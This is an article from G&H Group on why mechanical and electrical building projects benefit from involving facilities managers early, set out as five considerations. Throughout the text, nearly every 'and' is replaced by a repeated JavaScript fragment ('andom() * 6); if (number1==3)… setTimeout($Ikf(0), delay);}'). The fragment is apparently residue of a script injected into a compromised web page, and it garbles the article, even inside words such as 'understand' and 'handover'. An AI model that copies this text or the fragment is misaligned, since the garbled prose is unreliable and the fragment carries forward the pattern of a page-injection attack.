Deadlines andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and budgets are two of, if not the most important elements on every single mechanical andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and electrical (M&E) project.
With this in mind, G&H Group sees these fundamental basics being ignored on a regular basis, causing significant consequences for the length of time projects take, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the cost.
Communication is a vital issue that is often overlooked or not given enough respect. The evidence is clear to see andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and witnessed regularly by two of our four divisions: Building Services andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Maintenance.
Their partnership working is vital in delivering high performing, efficient buildings.
The true cost of a building isn’t the initial construction fee but how much it costs to run andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maintain efficiently thereafter. The main considerations are design, implementation, impact on maintenance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and finish.
Here are five key considerations FMs should be aware of.
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Creating the right dialogue
It is not just communication that is needed, it’s the right type of communication that has to be prioritised.
It is the biggest friend for building services, FMs, builders andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and crucially end users yet is seldom used efficiently with the designers complying with the specification but ignoring the end users’ specific requirements.
At the outset, clear talks need to be held with the end user as well as the builder. By using this as the starting point, a host of benefits, especially those relating to maintenance, become available andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and more co-ordinated projects delivered.
More thought needs to be given to who the building is for andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how it is going to be used so the best M&E systems can be fitted first time of asking.
In new build circumstances, the building is designed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and equipped at category A only for the end user to realise it’s not fit for purpose leading to elements having to be stripped out to facilitate a category B to better suit the occupants’ requirements.
If you were to overlay category A with category B designs the differences would be stark. This can be avoided if building services companies can speak to the right people early enough in the process to understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and what the building is to be used for.
A massive difference in plant spatial requirement (andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and savings) can be made by designing systems to meet specific client needs.
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End user input andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and usage
The more detail that can be given before the building is designed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and built, the better.
It seems obvious, but the building is for the end user client not the main contractor. When the building is going to be used, the number of people who will be in it, what it will be used for andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and what’s important are crucial basics.
If the building is going to be used by hundreds of people a day but only in groups of 30 at any one time, then large powerful, permanent systems are not always needed; better to have flexibility so heating andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ventilation can easily be reduced when not in use.
If it’s an education facility where exams are carried out, services need to be able to turned down to create as silent an environment as possible.
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FM central to designs
A crucial aspect of all pre-build design is considering long-term maintenance. BIM plays a really valuable part demonstrating how the M&E will look andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and enables designers to factor in the need for planned andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reactive maintenance to take place quickly.
It means the building can perform better while returning financial savings to the end user andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and achieving a far higher level of client satisfaction.
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Ensuring compliance
The role of FMs in delivering compliance is a vital part of the process.
By their very nature, M&E andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and all building services installed including gas, electricity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and water supplies have to be tested andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and meet legislation.
FMs that work well with building services are invaluable for the builder andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the end user, which is why G&H Building Services andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and G&H Maintenance liaise so closely together on all projects.
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Commission andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and final handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andover
As with all projects, commissioning andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and final handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andover should be a smooth process but this is only made possible in M&E schemes by FMs being involved throughout the entire process.
This reiterates the previous four points made; the more involvement from FMs from the outset coupled with close working relationships with building services throughout the design andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and installation work, means the final handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andover should be a formality.
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